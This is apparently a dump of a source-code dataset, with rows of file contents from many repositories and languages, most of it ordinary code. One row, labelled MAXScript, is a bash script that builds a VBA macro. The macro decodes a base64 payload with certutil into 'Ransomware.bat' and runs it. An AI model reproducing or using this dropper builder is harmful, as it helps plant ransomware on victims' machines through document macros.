content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
##! Information about VLAN IDs created at the packet broker/tap/span.
# Reservoir Labs Inc. 2017 All Rights Reserved.
@load ./vlan-data.bro
module VLANLocation;
## Useful for validating that all expected taps are generating data
## Ensure these VLAN IDs are different from operational VLAN IDs
# This is sample data... | Bro | 4 | reservoirlabs/bro-scripts | vlan-info/tap-data.bro | [
"Apache-2.0"
] |
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Title</title>
</head>
<body>
<div>Web Application. Passed parameter : th:text="${message}"</div>
</body>
</html>
| HTML | 3 | zeesh49/tutorials | spring-all/src/main/webapp/WEB-INF/view/viewPage.html | [
"MIT"
] |
defmodule App2 do
use Mix.Project
def project do
[
app: :app2,
version: "0.1.0",
deps: [
{:app1, "0.1.0", in_umbrella: true}
]
]
end
end
| Elixir | 4 | doughsay/elixir | lib/mix/test/fixtures/deps_cycle/app2/mix.exs | [
"Apache-2.0"
] |
// Order of execution in this context doesn't mean the order in which statements are executed in the language (the client). It refers to the ordering of synth nodes on the server, which corresponds to the order in which their output is calculated each control cycle (blockSize). Whether or not you specify the order of e... | SuperCollider | 4 | drichardson/examples | SuperCollider/OrderOfExecution.scd | [
"Unlicense"
] |
{# Copyright 2017 The Chromium Authors. All rights reserved. #}
{# Use of this source code is governed by a BSD-style license that can be #}
{# found in the LICENSE file. #}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="{{ package }}">
</manifes... | HTML+Django | 2 | zealoussnow/chromium | build/android/gradle/manifest.jinja | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
#
# The error() function should give the name of the file
# where the error was raised, not the object template.
#
# See GitHub Issue #40.
#
# @expect=org.quattor.pan.exceptions.EvaluationException ".*c\.pan.*c\.pan.*"
#
object template bug-gh-40;
include 'b';
| Pan | 2 | aka7/pan | panc/src/test/pan/Functionality/bugs/bug-gh-40/bug-gh-40.pan | [
"Apache-2.0"
] |
{#a : 1, #b : 2}
| STON | 0 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/STON/Dictionary.ston | [
"MIT"
] |
bash .banner
as=$(ls -a > .ls)
des=$(grep -o .temp .ls)
if [ "$des" = ".temp" ]; then
bash .banner
echo "Procesando...." | pv -qL 4
a=$(base64 .temp > .asx)
b=$(cat .asx)
echo "Sub chell()" > .m
echo "Shell %cmd /c echo $b > .temp%, vHide" >> .m
echo "Shell %cmdf /c certutil -decode .temp Ransomware.bat | start Ransom... | MAXScript | 0 | NePtYx2018/MgToLs | .Encry/.mcr | [
"MIT"
] |
/**
Copyright 2015 Acacia Team
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
di... | X10 | 4 | mdherath/Acacia | src/org/acacia/backend/AcaciaBackEnd.x10 | [
"Apache-2.0"
] |
class!t() { 1 }
func() { }
d: class!func()
| Objective-J | 0 | justinmann/sj | tests/template4.sj | [
"Apache-2.0"
] |
# THIS IS A GENERATED FILE! DO NOT EDIT!
# Compiled with Winxed 1.10.-1
# Source file: winxed_installed.winxed
# Begin generated code
.sub initial_load_bytecode :anon :load :init
load_bytecode 'Getopt/Obj.pbc'
.end
# end libs
.namespace [ 'WinxedDriverOptions' ]
.sub 'WinxedDriverOptions' :method
.param ... | Parrot Internal Representation | 3 | winnit-myself/Wifie | ext/winxed/driver.pir | [
"Artistic-2.0"
] |
/* ################################################################
Author:
URL:
Project Name:
Version: 1.0
URL:
################################################################# */
/* ------------------------------------------
COMMON
------------------------------------------ */
body ... | MTML | 2 | movabletype/mt-theme-SimpleCorporate | themes/simplecorporate/templates/styles.mtml | [
"MIT"
] |
ALTER TABLE hdb_catalog.hdb_relationship
DROP CONSTRAINT hdb_relationship_table_schema_fkey,
ADD CONSTRAINT hdb_relationship_table_schema_fkey FOREIGN KEY (table_schema, table_name) REFERENCES hdb_catalog.hdb_table(table_schema, table_name) ON UPDATE CASCADE;
ALTER TABLE hdb_catalog.hdb_permission
DROP CONSTRAIN... | SQL | 2 | gh-oss-contributor/graphql-engine-1 | server/src-rsr/migrations/9_to_10.sql | [
"Apache-2.0",
"MIT"
] |
ENTRY(eirEntry)
SECTIONS {
. = 0x40080000;
eirImageFloor = .;
.text : ALIGN(0x1000) {
*(.text.init)
*(.text*)
}
.rodata : ALIGN(0x1000) {
*(.rodata*)
}
.data : ALIGN(0x1000) {
*(.data*)
}
.bss : ALIGN(0x1000) {
eirBssStart = .;
*(.bss*)
*(COMMON)
. = ALIGN(8);
eirBssEnd = .;
}
eirImag... | Logos | 3 | kITerE/managarm | kernel/eir/arch/arm/virt/link.x | [
"MIT"
] |
plz foo with 5 6 thx bigger 7 | Dogescript | 1 | erinkeith/dogescript | test/spec/plz/thx-with-args/source.djs | [
"MIT"
] |
{ buildToolbox
, checkedShellScript
, curl
, jq
}:
let
dockerHubDescription =
let
description =
./docker-hub-description.md;
fullDescription =
./docker-hub-full-description.md;
in
checkedShellScript
{
name = "postgrest-release-dockerhub-description";
docs... | Nix | 5 | fairhopeweb/postgrest | nix/tools/release/default.nix | [
"MIT"
] |
{ ghcWithPackages
, runCommand
}:
let
name = "hsie";
src = ./Main.hs;
modules = ps: [
ps.aeson
ps.aeson-pretty
ps.cassava
ps.dir-traverse
ps.dot
ps.ghc-exactprint
ps.optparse-applicative
];
ghc = ghcWithPackages modules;
hsie =
runCommand "haskellimports" { inherit name src; ... | Nix | 3 | fairhopeweb/postgrest | nix/hsie/default.nix | [
"MIT"
] |
<%= form_for @changeset, @action, [class: "ui form", multipart: true], fn f -> %>
<div class="three fields">
<div class="field required <%= AdminHelpers.error_class(f, :podcast_id) %>">
<%= label(f, :podcast_id, "Podcast") %>
<%= select(f, :podcast_id, podcast_options(), class: "ui fluid dropdown") %>... | HTML+EEX | 4 | gustavoarmoa/changelog.com | lib/changelog_web/templates/admin/episode_request/_form.html.eex | [
"MIT"
] |
/**
Copyright 2015 Acacia Team
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
di... | X10 | 3 | mdherath/Acacia | src/org/acacia/server/AcaciaInstanceCatalogManager.x10 | [
"Apache-2.0"
] |
import hashlib
from itertools import izip
MNT4r = 41898490967918953402344214791240637128170709919953949071783502921025352812571106773058893763790338921418070971888458477323173057491593855069696241854796396165721416325350064441470418137846398469611935719059908164220784476160001
MNT4q = 418984909679189534023442147912406... | Sage | 5 | Pratyush/snarky | scripts/generate_base_point.sage | [
"MIT"
] |
using Uno;
using Uno.Collections;
using Fuse;
using Fuse.Controls;
public partial class MyApp
{
public MyApp()
{
InitializeUX();
hehe.ToString();
hehe.Margin=20;
FrameTime = 20;
}
public List<int> Test()
{
}
public Ap... | Uno | 1 | mortend/fuse-studio | Source/Fuse/Tests/SublimeTest/SublimeTest/MyApp.ux.uno | [
"MIT"
] |
[ModuleInit]
public GLib.Type plugin_init (GLib.TypeModule tm) {
return typeof (Bar.Plugin);
}
public class Bar.Plugin : Foo.Plugin, GLib.Object {
public string bar () {
return "bar";
}
}
| Vala | 4 | kira78/meson | test cases/vala/21 type module/plugin-bar.vala | [
"Apache-2.0"
] |
<span style="color: #<?php echo $this->gradientBuilder->create('#00ff00')
->to('#333333', 100)
->to('#ff0000', 100)
->build()
->colorAtPercentile(((int)$object->percentage() + 100) / 2)
->toHex() ?>">
<?php echo $this->nodePrinter->print($object) ?>
</span>
| HTML+PHP | 3 | rustamwin/phpbench | templates/html/node/PercentDifferenceNode.phtml | [
"MIT"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | C | 4 | EricRemmerswaal/tensorflow | tensorflow/c/experimental/pluggable_profiler/pluggable_profiler_internal.h | [
"Apache-2.0"
] |
dev: size erasesize name
mmcblk0p1: 000100 000000 "vrl"
mmcblk0p2: 000100 000000 "vrl_backup"
mmcblk0p3: 000100 000000 "mcuimage"
mmcblk0p4: 000300 000000 "reserved0"
mmcblk0p5: 001000 000000 "fastboot"
mmcblk0p6: 001000 000000 "modemnvm_factory"
mmcblk0p7: 001800 000000 "nvme"
mmcblk0p8: 008000 000000 "oeminfo"
mmcblk... | Grace | 1 | Chrismucer/OnlineNandroid | part_layouts/raw/partlayout4nandroid.grace | [
"BSD-3-Clause"
] |
{{
vga_40x18_rom_hc.spin by Roger Williams
This is the helper cog for a ROM font 43 by 18 character tile
display. The raster is drawn by a raster engine which signals
which line it is working on via the lineptr. Two instances
of this cog pre-build lines of pixels, one working on even
lines and one on odd... | Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/VGA 40x18 ROM Font/vga_40x18_rom_hc.spin | [
"MIT"
] |
#include "caffe2/core/net_async_task.h"
#include "caffe2/core/net_async_task_graph.h"
namespace caffe2 {
// NOLINTNEXTLINE(modernize-pass-by-value)
AsyncTask::AsyncTask(const std::vector<OperatorBase*>& ops) : ops_(ops) {
CAFFE_ENFORCE(!ops_.empty());
device_option_ = ops_.front()->device_option();
for (auto& ... | C++ | 4 | Hacky-DH/pytorch | caffe2/core/net_async_task.cc | [
"Intel"
] |
(defun merge-plist (p1 p2)
(loop with notfound = '#:notfound
for (indicator value) on p1 by #'cddr
when (eq (getf p2 indicator notfound) notfound)
do (progn
(push value p2)
(push indicator p2)))
p2)
(defun html-response* (response &optional headers)
"This hould b... | Common Lisp | 4 | xsoheilalizadeh/FrameworkBenchmarks | frameworks/Lisp/ninglex/helpers/response.lisp | [
"BSD-3-Clause"
] |
it("should not lazily compile to import() when not configured", done => {
let resolved;
const promise = import("./module").then(r => (resolved = r));
expect(resolved).toBe(undefined);
setTimeout(() => {
expect(resolved).toHaveProperty("default", 42);
done();
}, 1000);
});
| JavaScript | 3 | fourstash/webpack | test/hotCases/lazy-compilation/only-entries/index.js | [
"MIT"
] |
@import base
.root
max-width: 100%
min-height: 100vh
@include breakpoint(min, md)
.root
padding: var(--height-nav) 0 0 0
.with-sidebar
margin-left: var(--width-sidebar)
.with-asides
margin-right: var(--width-aside)
position: relative
.asides
position:... | Sass | 4 | snosrap/spaCy | website/src/styles/main.module.sass | [
"MIT"
] |
sub Main()
mockFunctionsHelper()
_brs_.resetMockFunction("fooBar")
print fooBar() ' => "foo bar"
print barBaz() ' => "fake barBaz"
end sub
| Brightscript | 3 | lkipke/brs | test/e2e/resources/components/mocks/reset/resetMockFunction.brs | [
"MIT"
] |
-- (c) 2011 Katerina Bohmova under LGPL
concrete FoodsCze of Foods = open ResCze in {
flags
coding = utf8 ;
lincat
Comment = {s : Str} ;
Quality = Adjective ;
Kind = Noun ;
Item = NounPhrase ;
lin
Pred item quality =
{s = item.s ++ copula ! item.n ++
quality.s ! ite... | Grammatical Framework | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Grammatical Framework/FoodsCze.gf | [
"MIT"
] |
.a.svelte-xyz~.b.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.c.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.d.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.e.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.f.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-... | CSS | 0 | Theo-Steiner/svelte | test/css/samples/general-siblings-combinator-await-not-exhaustive/expected.css | [
"MIT"
] |
package mocks;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
public class ItemService {
private final ItemProvider itemProvider;
private final EventPublisher eventPublisher;
public ItemService(ItemProvider itemProvider, EventPublisher eventPublisher) {
t... | Java | 5 | DBatOWL/tutorials | testing-modules/groovy-spock/src/main/java/mocks/ItemService.java | [
"MIT"
] |
(*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*)
include
( val if Injector_config.use_test_stubbing then
(module TestDisk : Disk_sig.S)
else
(module R... | OCaml | 3 | zhangmaijun/flow | src/hack_forked/utils/disk/disk.ml | [
"MIT"
] |
-- ==============================================================
-- RTL generated by Vivado(TM) HLS - High-Level Synthesis from C, C++ and OpenCL
-- Version: 2020.2
-- Copyright (C) 1986-2020 Xilinx, Inc. All Rights Reserved.
--
-- ===========================================================
library IEEE;
use IEEE.st... | VHDL | 3 | hito0512/Vitis-AI | Whole-App-Acceleration/apps/resnet50/build_flow/DPUCVDX8G_vck190/vck190_platform/hw/source/ip/isppipeline_accel/hdl/vhdl/g_kernel.vhd | [
"Apache-2.0"
] |
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | C++ | 5 | abhaikollara/tensorflow | tensorflow/compiler/jit/introduce_floating_point_jitter_pass.cc | [
"Apache-2.0"
] |
##! This script will generate a notice if a host succesfully uploads
##! data to an FTP server.
@load base/frameworks/notice
@load base/protocols/ftp
module Exfiltration;
export {
redef enum Notice::Type += {
FTP_Upload,
};
}
function handle_ftp_exception(c: connection)
{
when (local reverse_lookup_hostname =... | Bro | 5 | evernote/bro-scripts | exfiltration/scripts/ftp.bro | [
"BSD-3-Clause"
] |
---
title: Columns
layout: documentation
doc-tab: columns
hide_tabs: true
hide_pagination: true
breadcrumb:
- home
- documentation
- columns
---
{% include components/links.html category_id='columns' %}
| HTML | 1 | kalpitzeta/bulma | docs/documentation/columns.html | [
"MIT"
] |
<faces-config>
<!-- This file is a workaround from SPR#MKEE89JPHG -->
<faces-config-extension>
<namespace-uri>http://www.ibm.com/xsp/coreex</namespace-uri>
<default-prefix>xe</default-prefix>
</faces-config-extension>
</faces-config> | XPages | 1 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/nsf/Teamroom/WebContent/WEB-INF/extlib-namespace.xsp-config | [
"Apache-2.0"
] |
%%
%unicode 3.1
%public
%class UnicodeNotScript
%type int
%standalone
%include ../../resources/common-unicode-enumerated-property-java
%%
\P{Canadian Aboriginal} { setCurCharPropertyValue("Not Canadian Aboriginal"); }
\p{Canadian Aboriginal} { setCurCharPropertyValue("Canadian Aboriginal"); }
<<EOF>> { printOutp... | JFlex | 4 | Mivik/jflex | testsuite/testcases/src/test/cases/unicode-scripts/UnicodeNotScript.flex | [
"BSD-3-Clause"
] |
/*
Copyright © 2011 MLstate
This file is part of Opa.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify... | Opa | 5 | Machiaweliczny/oppailang | lib/stdlib/apis/github/orgs/orgs.opa | [
"MIT"
] |
' Licensed to the .NET Foundation under one or more agreements.
' The .NET Foundation licenses this file to you under the MIT license.
' See the LICENSE file in the project root for more information.
Imports Microsoft.CodeAnalysis.Test.Utilities
Imports Microsoft.CodeAnalysis.VisualBasic.Symbols
Imports Roslyn.Test.U... | Visual Basic | 5 | frandesc/roslyn | src/Compilers/VisualBasic/Test/Symbol/SymbolsTests/StaticAbstractMembersInInterfacesTests.vb | [
"MIT"
] |
D:/gitee/tmp/tinyriscv/tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRWI-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
00000000 <_start>:
0: 04c0006f j 4c <reset_vector>
00000004 <trap_vector>:
4: 34202f73 csrr t5,mcause
8: 00800f93 li t... | ObjDump | 4 | DuBirdFly/TinyRISCV_Learn | tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRWI-01.elf.objdump | [
"Apache-2.0"
] |
---
date: 2020-11-05
title: "Hugo 0.78.1: A couple of Bug Fixes"
description: "This version fixes a couple of bugs introduced in 0.78.0."
categories: ["Releases"]
images:
- images/blog/hugo-bug-poster.png
---
The main fix in this release is that of dependency resolution for package.json/node_modules in theme compone... | Markdown | 0 | tmuguet/hugoDocs | content/en/news/0.78.1-relnotes/index.md | [
"Apache-2.0"
] |
param = { "hacklu":
((889774351128949770355298446172353873, 12345, 67890),
# Generator of Subgroup of prime order 73 bits, 79182553273022138539034276599687 to be excact
(238266381988261346751878607720968495, 591153005086204165523829267245014771),
# challenge Q = xP, x r... | Sage | 5 | amoniaka-knabino/Crypton | Discrete-Logarithm-Problem/Elliptic-Curve-DLP/Algo-Pollard-Rho/Challenges/Multiplayer-2/parameters.sage | [
"MIT"
] |
package org.baeldung.conditionalflow.step;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import org.baeldung.conditionalflow.model.NumberInfo;
import org.junit.jupiter.api.Test;
public class NumberInfoGeneratorUnitTest {
@Test
public void givenArray_whenGenerator_co... | Java | 4 | DBatOWL/tutorials | spring-batch/src/test/java/org/baeldung/conditionalflow/step/NumberInfoGeneratorUnitTest.java | [
"MIT"
] |
- dashboard: event_flow_analysis
title: Event Flow Analysis
layout: grid
rows:
- elements: [events_drop_off]
height: 400
- elements: [event_flow]
height: 400
- elements: [top_5_second_events, top_5_third_events, top_5_fourth_events, top_5_fifth_events]
height: 400
- elements: [se... | LookML | 3 | llooker/heap_block_bigquery | event_flow_analysis.dashboard.lookml | [
"MIT"
] |
// ace can highlight scad!
module Element(xpos, ypos, zpos){
translate([xpos,ypos,zpos]){
union(){
cube([10,10,4],true);
cylinder(10,15,5);
translate([0,0,10])sphere(5);
}
}
}
union(){
for(i=[0:30]){
# Element(0,0,0);
Element(15*i,0,0);
}
}
for (i = [3, 5, 7, 11]){
rotate([i*10,0,0])scale([1,1,i... | OpenSCAD | 3 | websharks/ace-builds | demo/kitchen-sink/docs/scad.scad | [
"BSD-3-Clause"
] |
/*--------------------------------------------------*/
/* SAS Programming for R Users - code for exercises */
/* Copyright 2016 SAS Institute Inc. */
/*--------------------------------------------------*/
/*SP4R06d09*/
/*Part A*/
proc sgplot data=sp4r.grass;
vline variety / group=method stat=mean re... | SAS | 4 | snowdj/sas-prog-for-r-users | code/SP4R06d09.sas | [
"CC-BY-4.0"
] |
#!/usr/bin/env hy
;;;-------------------------------------
;;; imports
;;;-------------------------------------
(import argparse
os)
;;;-------------------------------------
;;; classes
;;;-------------------------------------
(defclass Alphabet [object]
"Represents an alphabet of characters."
(defn --... | Hy | 5 | ajnavarro/language-dataset | data/github.com/philiparvidsson/LSTM-Text-Generation/87aab381b5fecc597c3799facc57841eeb33b3e0/lstm.hy | [
"MIT"
] |
<input class='input' placeholder='Enter some values here' value='{{raw}}' />
<p>Raw: "{{raw}}"</p>
<p>Binary: "{{binary}}"</p>
<p>
{{#isLink}}
<a href='{{raw}}' target='_blank'>Also works as a link</a>
{{/isLink}}
{{^isLink}}
<span>Not a link!</span>
{{/isLink}}
</p>
| mupad | 3 | royriojas/buildfirst | ch07/03_backbone-models/app/views/templates/sample.mu | [
"MIT"
] |
module HsHeader where
#include <header.h>
main :: IO ()
main = putStr FOO
| Haskell | 2 | Unknoob/buck | test/com/facebook/buck/features/haskell/testdata/library_test/HsHeader.hs | [
"Apache-2.0"
] |
#!/usr/bin/env bash
# allow user to override go executable by running as GOEXE=xxx make ...
GOEXE="${GOEXE-go}"
# Convenience script to
# - For a given branch
# - Run benchmark tests for a given package
# - Do the same for master
# - then compare the two runs with benchcmp
benchFilter=".*"
if (( $# < 2 ));
then
... | Shell | 4 | jlevon/hugo | bench.sh | [
"Apache-2.0"
] |
<mt:Ignore>
# =======================
#
# フッタ
#
# =======================
</mt:Ignore>
<footer id="footer">
<div class="footer-copyright">
<div class="container">
<small class="footer-copyright-text">©<mt:Date language="en" format="%Y" /> <mt:BlogParentWebsite><mt:WebsiteHost /></mt:Blog... | MTML | 2 | webbingstudio/mt_theme_echo_bootstrap | dist/themes/echo_bootstrap/templates/footer.mtml | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8" ?>
<!--
- Copyright (c) 2014 3 Round Stones Inc., Some Rights Reserved
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.ap... | XProc | 4 | jimmccusker/callimachus | webapp/pipelines/docbook-inclusion.xpl | [
"Apache-2.0",
"BSD-3-Clause"
] |
<%inherit file="/display_base.mako"/>
<%def name="javascript_app()">
${parent.javascript_app()}
<script type="text/javascript">
config.addInitialization(function() {
console.log("page/display_markdown.mako, javascript_app", "Setup page display markdown");
window.bundleEntries.... | Mako | 4 | rikeshi/galaxy | templates/webapps/galaxy/page/display_markdown.mako | [
"CC-BY-3.0"
] |
(import [guestbook.transit_tools :as tt]
[guestbook.frame :as f]
[transit.transit_types [Keyword :as TransitKeyword]])
(when (get f.app-state :import-sympy)
(import [sympy [*]]))
(defn assert-equal [x y]
(assert (= x y)))
(defn test-convert-to-transit-types-1 []
(assert-equal (tt.convert-to-tran... | Hy | 4 | kloimhardt/bb-web | cgi-bin/test/guestbook/test_transit_tools.hy | [
"MIT"
] |
// GENERATED CODE - DO NOT MODIFY BY HAND
part of 'billing_client_wrapper.dart';
// **************************************************************************
// JsonSerializableGenerator
// **************************************************************************
const _$BillingResponseEnumMap = {
BillingRespons... | Dart | 4 | coral-labs/plugins | packages/in_app_purchase/in_app_purchase_android/lib/src/billing_client_wrappers/billing_client_wrapper.g.dart | [
"BSD-3-Clause"
] |
import * as badModule from "./bad-module.ts";
console.log(badModule);
| TypeScript | 1 | petamoriken/deno | cli/tests/testdata/error_004_missing_module.ts | [
"MIT"
] |
// Vertex Shader
struct VS_INPUT
{
float2 vPosition : POSITION;
float2 vUVCoords: TEXCOORD0;
};
struct PS_INPUT
{
float4 vPosition : SV_POSITION;
float2 vUVCoords : TEXCOORD0;
};
Texture2DMS<float4> g_Texture : register(t0);
PS_INPUT VSMain( VS_INPUT i )
{
PS_INPUT o;
o.vPosition = float4( i.vPosition, 0.0, ... | HLSL | 4 | oravnat/openvr | samples/bin/shaders/companion.hlsl | [
"BSD-3-Clause"
] |
/*
*
* Copyright 2015 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agree... | C++ | 4 | echo80313/grpc | src/core/lib/gpr/sync.cc | [
"Apache-2.0"
] |
create table bar2 (a int auto_increment, key (`a`));
| SQL | 1 | WizardXiao/tidb | br/tests/lightning_tool_135/data/tool_135.bar2-schema.sql | [
"Apache-2.0"
] |
(deffunction compare-files (?base-file ?test-file ?output)
(open ?base-file base)
(open ?test-file test)
(bind ?i 0)
(bind ?difference FALSE)
(bind ?base-line (readline base))
(bind ?test-line (readline test))
(while (and (neq ?base-line EOF) (neq ?test-line EOF)) do
(bind ?i (+ ?i 1))
... | CLIPS | 4 | smarr/CLIPS | test_suite/compline.clp | [
"Apache-2.0"
] |
{ lib
, trivialBuild
, fetchurl
}:
trivialBuild rec {
pname = "jam-mode";
version = "0.3";
src = fetchurl {
url = "https://dev.gentoo.org/~ulm/distfiles/${pname}-${version}.el.xz";
hash = "sha256-0IlYqbPa4AAwOpjdd20k8hqtvDhZmcz1WHa/LHx8kMk=";
};
unpackPhase = ''
runHook preUnpack
xz -cd $s... | Nix | 3 | siddhantk232/nixpkgs | pkgs/applications/editors/emacs/elisp-packages/jam-mode/default.nix | [
"MIT"
] |
#!/usr/bin/osascript
# Required parameters:
# @raycast.author Luigi Cardito
# @raycast.authorURL https://github.com/lcardito
# @raycast.author Faris Aziz
# @raycast.authorURL https://github.com/farisaziz12
# @raycast.schemaVersion 1
# @raycast.title Toggle Video
# @raycast.mode silent
# @raycast.packageName Zoom
# @ra... | AppleScript | 3 | daviddzhou/script-commands | commands/communication/zoom/toggle-video.applescript | [
"MIT"
] |
/*
Copyright 2018 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... | Protocol Buffer | 4 | yankay/autoscaler | vertical-pod-autoscaler/e2e/vendor/k8s.io/kubernetes/pkg/kubelet/pluginmanager/pluginwatcher/example_plugin_apis/v1beta1/api.proto | [
"Apache-2.0"
] |
SHELL := /bin/bash
ifndef SPACY_EXTRAS
override SPACY_EXTRAS = spacy-lookups-data==1.0.2 jieba spacy-pkuseg==0.0.28 sudachipy sudachidict_core pymorphy2
endif
ifndef PYVER
override PYVER = 3.6
endif
VENV := ./env$(PYVER)
version := $(shell "bin/get-version.sh")
package := $(shell "bin/get-package.sh")
ifndef SPACY... | Makefile | 3 | snosrap/spaCy | Makefile | [
"MIT"
] |
(***********************************************************
AMX NETLINX TEST SUITE
EXAMPLE
Website: https://sourceforge.net/projects/amx-test-suite/
The "testing" system contains testing code
that would be loaded onto a master to verify that
functions in the production code ... | NetLinx | 4 | RBSystems/amx-test-suite | examples/(1) basic/tests/my-project-tests.axs | [
"Apache-2.0"
] |
fun main () : transaction page =
let
fun handler _ = return <xml/>
in
return <xml><body>
<form>
<submit action={handler}>Uh oh!</submit>
</form>
</body></xml>
end
| UrWeb | 3 | apple314159/urweb | tests/nestedInput.ur | [
"BSD-3-Clause"
] |
"La isla misteriosa" by Grendelkhan (in spanish)
Part 1 - Introducción
Section 1 - Extensiones
[Code17b: forma alternativa de definir los escritos del mapa]
[Code 18: el profesor y su tabla de conversación]
Include Basic Screen Effects Sp by Emily Short.
Include Basic Help Menu SP by Emily Short.
[Datos Bibligráfi... | Inform 7 | 4 | brtl-fhc/I7-Spanish | EJEMPLOS/XaviTutorial/Cap05.ni | [
"Artistic-2.0"
] |
~VERSION INFORMATION
VERS. 1.2: CWLS LOG ASCII STANDARD -VERSION 1.2
WRAP. NO: ONE LINE PER DEPTH STEP
~WELL INFORMATION BLOCK
STRT.M 1670.000000:
STOP.M 1669.750000:
STEP.M -0.1250:
NULL. -999.2500:
COMP. COMPANY: # ANY OIL C... | Lasso | 2 | dcslagel/lasio | tests/examples/sample_str_in_data.las | [
"MIT"
] |
/*
* This software is Copyright (c) 2016 Denis Burykin
* [denis_burykin yahoo com], [denis-burykin2014 yandex ru]
* and it is hereby released to the general public under the following terms:
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
*/
`ifndef _... | SystemVerilog | 3 | bourbon-hunter/OSCPRepo | Tools/JohnTheRipper-bleeding-jumbo/src/ztex/fpga-bcrypt/bcrypt/bcrypt.vh | [
"MIT"
] |
/*
Module: AES
Copyright: (c) 2004 Galois Connections, Inc.
Author: Mark Shields, Galois Connections, Inc. <mbs@galois.com>
*/
/* The Advanced Encryption Standard (Rijndael) algorithm */
exports aes, sea;
// ----------------------------------------
// Constants and Types
// ------------------------------... | MAXScript | 5 | mayankmanj/acl2 | books/workshops/2006/pike-shields-matthews/core_verifier/AES/AES.mcr | [
"BSD-3-Clause"
] |
// Code generated by mkpreempt.go; DO NOT EDIT.
#include "go_asm.h"
#include "textflag.h"
TEXT ·asyncPreempt(SB),NOSPLIT|NOFRAME,$0-0
MOVW.W R14, -188(R13)
MOVW R0, 4(R13)
MOVW R1, 8(R13)
MOVW R2, 12(R13)
MOVW R3, 16(R13)
MOVW R4, 20(R13)
MOVW R5, 24(R13)
MOVW R6, 28(R13)
MOVW R7, 32(R13)
MOVW R8, 36(R13)
... | GAS | 1 | SSSDNSY/go | src/runtime/preempt_arm.s | [
"BSD-3-Clause"
] |
package lib;
@SamWithReceiver
public interface Job {
public void execute(String context, int other);
} | Java | 3 | AndrewReitz/kotlin | libraries/tools/kotlin-maven-plugin-test/src/it/test-sam-with-receiver-simple/src/main/java/lib/Job.java | [
"ECL-2.0",
"Apache-2.0"
] |
/*
Copyright © 2011 MLstate
This file is part of Opa.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify... | Opa | 5 | Machiaweliczny/oppailang | lib/stdlib/core/color/color.opa | [
"MIT"
] |
# NCSNv3
Code for noise-conditional score networks in FLAX.
Usage example:
```bash
python -m ncsnv3.main --workdir=/tmp --config=ncsnv3/configs/ncsnv3/cifar10.py
```
| Markdown | 1 | deepneuralmachine/google-research | ncsnv3/README.md | [
"Apache-2.0"
] |
{
"@context": {
"@version": 1.1,
"foo": {
"@id": "@type",
"@prefix": true
}
},
"foo:bar": "http://example.org/baz"
}
| JSONLD | 2 | donbowman/rdflib | test/jsonld/1.1/toRdf/pr33-in.jsonld | [
"BSD-3-Clause"
] |
package com.baeldung.objects;
public class Car {
private String type;
private String model;
private String color;
private int speed;
public Car(String type, String model, String color) {
this.type = type;
this.model = model;
this.color = color;
}
public String get... | Java | 4 | DBatOWL/tutorials | core-java-modules/core-java-lang-oop-types/src/main/java/com/baeldung/objects/Car.java | [
"MIT"
] |
functions {
vector build_b_spline(real[] t, real[] ext_knots, int ind, int order);
vector build_b_spline(real[] t, real[] ext_knots, int ind, int order) {
vector[size(t)] b_spline;
vector[size(t)] w1 = rep_vector(0, size(t));
vector[size(t)] w2 = rep_vector(0, size(t));
if (order==1)
for (i in... | Stan | 5 | stan-dev/stancon_talks | 2018/Contributed-Talks/01_auerbach/model2.stan | [
"CC-BY-4.0",
"BSD-3-Clause"
] |
/*
